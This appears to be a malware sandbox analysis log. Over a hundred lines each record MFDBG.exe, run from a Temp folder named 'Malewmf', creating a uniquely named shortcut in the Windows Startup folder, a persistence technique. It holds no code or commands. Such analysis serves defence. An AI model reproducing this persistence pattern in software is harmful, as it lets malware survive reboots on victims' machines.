Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_37b30dc543d9462093b006fc6e9c7215.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2172e70d8f8941b6a7ba3fd79c1cd6d7.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bdf629e416c34531ad018c25bd923da4.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2384fd3cdd0540109f22dd6a618ea21d.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_85e020505e2c4fb39a80e3c7814e6f15.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c58a5ea717114af1a7b07d0d1fdc8645.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0a14da65e9f04a8caf26d56ddc450cde.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0b8a004423424b29bd11acdd7980fc3b.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_77ce7ae1869341dab054c317a4654eac.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_da1e4f8ccbae417893432587d2d9d6d6.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_54617eaa7b5f4a7f9e7ea8fdddc621b2.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_24815749e57f472181f138465b4f08d6.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_000913a568ed4d738231f15b80803587.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fa225c5c8c6a46eca66358d18fff48cd.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_002f3f6ff75f4e17818d290ab12069da.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_199a6424bac7478bb7d6b05c89fa5528.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_59391273af5a4ed6b6d28fb20deda29e.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_95a5ce44e77f40e38f6bc6631b040559.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_90ee81aa2d014184b11d899e3374690b.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_73845d6e679f474b885ef827044829ce.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2fc005b30e614e659c47e2897db2a44f.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_001ca14e95544eb3bae7f53a99c59122.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3c42eb6e0c204de7991da7f9e677f71f.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b675142499f544fc9596aea88454a06c.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_74e63e958e6a414d9647d955a3f194ab.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_db5099a348a64be98b858e3b9b00fdc0.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ae9f1b2d875a4c85a3db0db707256d46.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_210b3671a39542499bf3c5f2ae29b057.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bcc8b82efc7843dfba7345b4386399d1.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_02bdff4d6b074f2c89d6d452e778d691.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e326a108ecb64e3085e14c24a660d7e9.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9fc498ae8a0c4528b5aa9a6037cecfe5.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_97938e630ee342b9b1a7c5aef13f50d9.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4e4c427ba86e4885b904b5f555af08fc.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b1a08f77256e4599ad80d9a4518f045f.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_451f6debdf324fc397b2170cd1028cd3.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_457980ab57864402839ebb1e07ff3087.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_66c868bdf9ed48388470fc2df97825f3.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e510074b623e42789af397d94db3b224.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_30ad132923e24e73bf06ace2583c2d0b.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ba0647e87d174101967374f78a4911a2.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5422af8dab694e14afebd118c238b814.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_091f6f811cfc4478855c1dcecdd833ba.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5422625da6c44bc2a5e828d1de6564b6.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a45c21b0abaa461cad5331ab47086021.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d8ecca115d024b618e2b7ac1d3cd109c.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f640051222b6478c9dd5424d8d59753b.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f77d0d349bd64140892ec937334c0296.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ad0370ce75524c669e52ec8ab6d0eaab.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fdd56662140b430d88d48dcdf5c3bb73.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b012f022d6074980a6835c869e5ea68c.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3d56421e2421427c8dbde996b2854560.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6bd71069019c4c8a84202ba211b73656.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3966d2b3369a43a88b281d6b1efa984d.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d2a4bb1c392743608ed662ae8cc5ff78.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e475e53f8f3340a49ed49032badce8ec.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f5ae6ae4448a4f8cb97cbf6782257ef3.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5925d94a5fd4469a9effe038ac10dc9e.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e2a213c413e742d28b37c3ea84436f2e.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_749a07db995e4f6ca81a4182ffe2ee12.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2279e3650d4145d79931d71d75c2c056.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_15f87fd7abf64fe097d54d15da15666e.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_581f3511dab24bdcb467f5aa588294dd.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_aba6b39338b3474ba9f5ddac46c2c0e2.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a0bf0494e587402eb4805aec481b14f9.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_17995b2db0fc4e999ff3e01afd98addc.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ffe43873e05f4bb79feabc29d0c5621b.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_798e381516ef47abbd6dfe976c12d6b2.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6e1f6dd75de44b1197c2483474d09b4a.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_52e0c3a6374049dca958aa1f1e7bc2ee.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9273db959ff54b7fbd0e05f303094e20.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2e6f08c60d71490f96fa1c79c457122f.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7a3929f1a91b45939e000f8560d04d9b.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_25d0fc877b8a4f01b2cdd717422f9b62.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0e9ee08dc981476abbb366a9b159535d.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2fc1fbb9db514ea6b23e1a2db44a2e3c.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9065537c3ad749788d7a4a352d48595a.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_778d79dcbc204c23844b1c35f411e5c8.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2b85bb17bbc5404e9aa14ef328111d48.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1f6d09d2db48429aa01d1d82f477941c.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_63545c1caae84a11ab6bee247960b8e7.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6da7150e64814de48f83eaeefb3a3877.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2974c1f66c30439d8d4583d7649926a3.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fe96f585bf8047a1a42a27c84105d67d.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a626734936ae41cc95891d80433c8703.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c4a78964bd81480b8b29e1ff17335c52.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c7a01b56f2e141cb8057e5b511facf43.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_11f54785f92044d2bded889a1cd25f79.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cd1ceea383824a0c9b00dfd9ab0e2881.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9a657b94407249719df3b7b4dcab7a9d.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_27ae163dd8bf4b15afb30d9b2b8e393e.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_964e98210a9248c39c48588cadaec4bf.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_30aca79f147245789e1cbe6bd15313ad.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c592d95ad9034299a96f1a2926a688c3.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_eb3f7e76885c4c4c94d3aa3f4686c943.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b45fddfc05cd472da3f60d7488c96588.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cc02304fec3247698de15812b2f696a5.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_375ee0fa8aef455d90be4383dc613109.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_128ec3a54fa543118026bec247bbc55b.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_aab09c52ea484ef294a9819257559a09.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b71a58f1a50f451982eec6a5e96aa191.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8747ad4007774af7ac344000f504ed59.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bb26f4d38de541d5b47a8a9582d8c1d3.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d3b85e2d79f74cee913183f0bbdab7fc.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ab924826c2f24bd997abeca6199602f9.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2d91df6b57f042339fb455f1c1a103ce.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_11bb1c62ed594cf1a963e66f4d4660ba.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_130bb5bb979d48cc9e60a0db2375ee0c.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_aa9170993fff45d4b479ee45049d55e0.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b43d747dafd346cf912625d10f11ecb8.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ee53a2bf96884f01b09d43fbaf92439d.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7721170c62044023b2b9ad67d3a42097.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_10964f0683114cd09f450cbf35ca23fe.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1ad3f76b9fd344dd97f4636ff6a9a6af.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0df883694ab247a9b29f713e389c01d9.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b287d357951c4b1a83f374aa6bbe397c.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3edc0e92708243f9951a66f51ca19e50.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f742a1a856dd435cb788a838cb968469.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c8c47d407c724c628845d8ed291f5ec7.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5443c8792b7241ee8bab701f5ba82fce.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bd418bfb2da446ccbcc2cc087ed3089b.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c5f88c53962e4b3b8a9b0dfba8cee3c6.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a7bf530fc40641878dc3d6e4b53982cc.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ba135cd4331e466f87ee0e3a2265fb61.lnk	Jump to behavior
